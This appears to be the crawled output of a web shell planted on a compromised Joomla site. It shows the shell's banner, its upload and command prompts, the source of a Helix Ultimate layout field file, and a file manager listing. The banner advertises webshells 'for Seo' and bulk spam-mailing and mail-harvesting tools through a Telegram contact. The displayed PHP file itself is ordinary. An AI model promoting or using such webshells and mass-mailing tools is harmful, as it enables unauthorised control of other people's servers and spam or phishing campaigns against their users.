__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <[email protected]>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Filesystem\File;
use HelixUltimate\Framework\Platform\Helper;


/**
 * Form field for Helix layout
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixlayout extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixlayout';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	public function getInput()
	{
		$input  	= Factory::getApplication()->input;
		$style_id 	= $input->get('id', 0, 'INT');
		$style 		= Helper::getTemplateStyle($style_id);

		$helix_layout_path = JPATH_SITE . '/plugins/system/helixultimate/layout/';

		$json = json_decode($this->value ?? "");

		if (!empty($json))
		{
			$rows = $json;
		}
		else
		{
			// $layout_file = File::read(JPATH_SITE . '/templates/' . $style->template . '/options.json');
			$layout_file = file_get_contents(JPATH_SITE . '/templates/' . $style->template . '/options.json');
			$value = json_decode($layout_file ?? "");
			$rows = json_decode($value->layout ?? "");
		}

		$html = $this->generateLayout($helix_layout_path, $rows);
		$html .= '<input type="hidden" id="' . $this->id . '" name="' . $this->name . '">';

		return $html;
	}

	/**
	 * Generate Layout.
	 *
	 * @param	string		$path	Layout path
	 * @param	object		$layout_data	The layout data.
	 *
	 * @return	string		Layout HTML string.
	 * @since	1.0.0
	 */
	private function generateLayout($path, $layout_data = null)
	{
		$GLOBALS['tpl_layout_data'] = $layout_data;

		ob_start();
		include_once $path . 'generated.php';
		$items = ob_get_contents();
		ob_end_clean();

		return $items;
	}

	/**
	 * Get label for the field.
	 *
	 * @return	boolean
	 * @since	1.0.0
	 */
	public function getLabel()
	{
		return false;
	}
}

Filemanager

Name Type Size Permission Actions
helixbutton.php File 1.2 KB 0664
helixdetails.php File 1.49 KB 0664
helixdevices.php File 3.9 KB 0664
helixdimension.php File 1.94 KB 0664
helixexportimport.php File 1.44 KB 0664
helixfont.php File 12.49 KB 0664
helixgallery.php File 3.05 KB 0664
helixheaders.php File 2.51 KB 0664
helixicon.php File 1.15 KB 0664
heliximage.php File 2.4 KB 0664
helixlayout.php File 2.09 KB 0664
helixmedia.php File 1.38 KB 0664
helixmegamenu.php File 6.59 KB 0664
helixmenubuilder.php File 1.46 KB 0664
helixpositions.php File 1.97 KB 0664
helixpresets.php File 6.41 KB 0664
helixswitcher.php File 3.42 KB 0664
Filemanager